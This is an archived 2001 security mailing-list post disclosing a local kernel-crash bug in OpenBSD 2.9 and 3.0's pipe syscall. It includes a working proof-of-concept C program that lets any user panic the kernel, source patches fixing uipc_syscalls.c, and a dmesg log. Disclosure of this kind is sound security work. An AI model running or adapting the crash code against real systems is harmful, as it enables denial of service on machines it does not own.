OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Marco Peereboom (marcodslswbell.net)
Date: Sun Dec 02 2001 - 11:22:45 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Hi,

    While I was coding away in userland I ran into a piece of code that will
    crash the kernel regardless of user (root or non-root). I started
    playing around with this and I found out that oBSD 2.9 & oBSD 3.0 are
    both vulnerable (I don't have any earlier boxes but this will likely
    crash them as well). I tried to isolate it and the shortest code I came
    up with that always crashes the kernel is:

    [rootcorona src]# cat crashme.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <syslog.h>

    /* globals */
    int fd[8]; /* temp pipe file descriptors */
    int fd_real[4]; /* real pipe's */

    static int __DEBUG__ = 0;
    static int __SYSLOG__ = 0;

    void enable_debug(void)
    {
            __DEBUG__ = 1;
    }

    void disable_debug(void)
    {
            __DEBUG__ = 0;
    }

    void enable_syslog(void)
    {
            __SYSLOG__ = 1;
    }

    void disable_syslog(void)
    {
            __SYSLOG__ = 0;
    }

    void s_fprintf(FILE *file, const char *fmt, ...)
    {
            va_list ap;

            if (__DEBUG__) {
                    fflush(file);

                    va_start(ap, fmt);
                    vfprintf(file, fmt, ap);
                    va_end(ap);

                    fflush(file);
            }

            if (__SYSLOG__) {
                    va_start(ap, fmt);
                    vsyslog(LOG_INFO, fmt, ap);
                    va_end(ap);
            }
    }

    void *s_malloc(size_t size)
    {
            char serr[40]; /* can not allocate more mem so lets use this
    ugly beast */
            void *p;

            if (__DEBUG__ || __SYSLOG__) {
                    s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
    getpid(), getppid(), size);
            }

            if ((p = malloc(size)) == NULL ) {
                    sprintf(serr,"PID=%i, Could not allocate memory",
    getpid());
                    perror(serr);
                    exit(6);
            }

            return p;
    }

    void s_perror(const char *str)
    {
            char *buf;

            if (__DEBUG__ || __SYSLOG__) {
                    s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
    getpid(), getppid(), str);
            }

            buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
            sprintf(buf, "PID=%-5i %s", getpid(), str);
            perror(buf);

            free(buf);
    }

    void s_pipe(int *fd)
    {
            if (__DEBUG__ || __SYSLOG__) {
                    s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
    getpid(), getppid(), (unsigned int)fd);
            }

            if (pipe(fd) == -1)
            {
                    s_perror("Could not create pipe");
                    exit(3);
            }
    }

    int main(int argc, char **argv)
    {
            enable_debug();
            enable_syslog();

            fprintf(stderr, "Before pipe\n");
            s_pipe(NULL); /* test if s_pipe exits */
            fprintf(stderr, "Will never reach this\n");

            return 0;
    }

    I also tried this:
    [rootcorona src]# cat a.c
    int main(int argc, char **argv)
    {
            if (pipe(0) == -1)
            {
                    perror("kloink");
                    exit(1);
            }
            return 0;
    }
    This does however not crash the kernel. That kind of explains why it
    went undetected.

    I tried to debug the kernel and I was partially successful at that. I
    definitively need more practice at BSD kernel debugging ;) but I did
    find what was wrong. We were releasing the user mode retval instead of
    the *real* rval kernel mode values. And since retval was pointing at
    NULL bad things happened.
    Anyway here is the patch for 3.0:
    [rootcorona kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
    --- uipc_syscalls.c.old Sun Dec 2 10:48:21 2001
    +++ uipc_syscalls.c Sun Dec 2 10:48:48 2001
    -903,8 +903,8
            error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
                2 * sizeof (int));
            if (error) {
    - fdrelease(p, retval[0]);
    - fdrelease(p, retval[1]);
    + fdrelease(p, rval[0]);
    + fdrelease(p, rval[1]);
            }
            return (error);
     }

    Here is the patch for 2.9:
    [rootvuurmuur kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
    --- uipc_syscalls.c.old Sun Dec 2 11:00:51 2001
    +++ uipc_syscalls.c Sun Dec 2 11:01:17 2001
    -886,8 +886,8
            error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
                2 * sizeof (int));
            if (error) {
    - fdrelease(p, retval[0]);
    - fdrelease(p, retval[1]);
    + fdrelease(p, rval[0]);
    + fdrelease(p, rval[1]);
            }
            return (error);
     }

    [rootcorona root]# dmesg
    OpenBSD 3.0-current (GENERIC) #5: Sun Dec 2 11:10:30 CST 2001
        rootcorona:/usr/src/sys/arch/i386/compile/GENERIC
    cpu0: Intel Pentium III (Coppermine) ("GenuineIntel" 686-class) 647 MHz
    cpu0:
    FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,SYS,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,F
    XSR,SIMD
    real mem = 402087936 (392664K)
    avail mem = 366768128 (358172K)
    using 4933 buffers containing 20205568 bytes (19732K) of memory
    mainbus0 (root)
    bios0 at mainbus0: AT/286+(00) BIOS, date 07/26/01, BIOS32 rev. 0
    0xffe90
    apm0 at bios0: Power Management spec V1.2
    apm0: battery life expectancy 100%
    apm0: AC on, battery charge high, estimated 5:51 hours
    pcibios0 at bios0: rev. 2.1 0xf0000/0x10000
    pcibios0: PCI IRQ Routing Table rev. 1.0 0xfbd20/128 (6 entries)
    pcibios0: PCI Interrupt Router at 000:07:0 ("Intel 82371 PCI-ISA and
    IDE" rev 0x00)
    pcibios0: PCI bus #3 is the last bus
    bios0: ROM list: 0xc0000/0x10000
    pci0 at mainbus0 bus 0: configuration mode 1 (no bios)
    pchb0 at pci0 dev 0 function 0 "Intel 82443BX PCI-AGP" rev 0x03
    ppb0 at pci0 dev 1 function 0 "Intel 82443BX AGP" rev 0x03
    pci1 at ppb0 bus 1
    vga1 at pci1 dev 0 function 0 "ATI Mobility 1" rev 0x64
    wsdisplay0 at vga1: console (80x25, vt100 emulation)
    wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
    cbb0 at pci0 dev 3 function 0 "Texas Instruments PCI1225 PCI-CardBus"
    rev 0x01: irq 11
    cbb1 at pci0 dev 3 function 1 "Texas Instruments PCI1225 PCI-CardBus"
    rev 0x01: irq 11
    pcib0 at pci0 dev 7 function 0 "Intel 82371AB PIIX4 ISA" rev 0x02
    pciide0 at pci0 dev 7 function 1 "Intel 82371AB IDE" rev 0x01: DMA,
    channel 0 wired to compatibility, channel 1 wired to compatibility
    wd0 at pciide0 channel 0 drive 0: <IC25N030ATDA04-0>
    wd0: 16-sector PIO, LBA, 28615MB, 16383 cyl, 16 head, 63 sec, 58605120
    sectors
    wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 2
    pciide0: channel 1 ignored (disabled)
    uhci0 at pci0 dev 7 function 2 "Intel 82371AB USB" rev 0x01: irq 11
    usb0 at uhci0: USB revision 1.0
    uhub0 at usb0
    uhub0: vendor 0x0000 UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
    uhub0: 2 ports with 2 removable, self powered
    "Intel 82371AB Power Mgmt" rev 0x03 at pci0 dev 7 function 3 not
    configured
    "ESS Maestro 3" rev 0x10 at pci0 dev 8 function 0 not configured
    cardslot0 at cbb0 slot 0 flags 0
    cardbus0 at cardslot0: bus 2 device 0 cacheline 0x8, lattimer 0x20
    pcmcia0 at cardslot0
    cardslot1 at cbb1 slot 1 flags 0
    cardbus1 at cardslot1: bus 3 device 0 cacheline 0x8, lattimer 0x20
    pcmcia1 at cardslot1
    isa0 at pcib0
    isadma0 at isa0
    pckbc0 at isa0 port 0x60/5
    pckbd0 at pckbc0 (kbd slot)
    pckbc0: using irq 1 for kbd slot
    wskbd0 at pckbd0: console keyboard, using wsdisplay0
    pms0 at pckbc0 (aux slot)
    pckbc0: using irq 12 for aux slot
    wsmouse0 at pms0 mux 0
    pcppi0 at isa0 port 0x61
    midi0 at pcppi0: <PC speaker>
    sysbeep0 at pcppi0
    lpt0 at isa0 port 0x378/4 irq 7
    npx0 at isa0 port 0xf0/16: using exception 16
    pccom0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
    fdc0 at isa0 port 0x3f0/6 irq 6 drq 2
    fd0 at fdc0 drive 0: 1.44MB 80 cyl, 2 head, 18 sec
    biomask 4840 netmask 4840 ttymask 58c2
    pctr: 686-class user-level performance counters enabled
    mtrr: Pentium Pro MTRR support
    dkcsum: wd0 matched BIOS disk 80
    root on wd0a
    rootdev=0x0 rrootdev=0x300 rawdev=0x302
    an0 at pcmcia1 function 0 "Cisco Systems, 340 Series Wireless LAN
    Adapter": address 00:40:96:44:e1:3b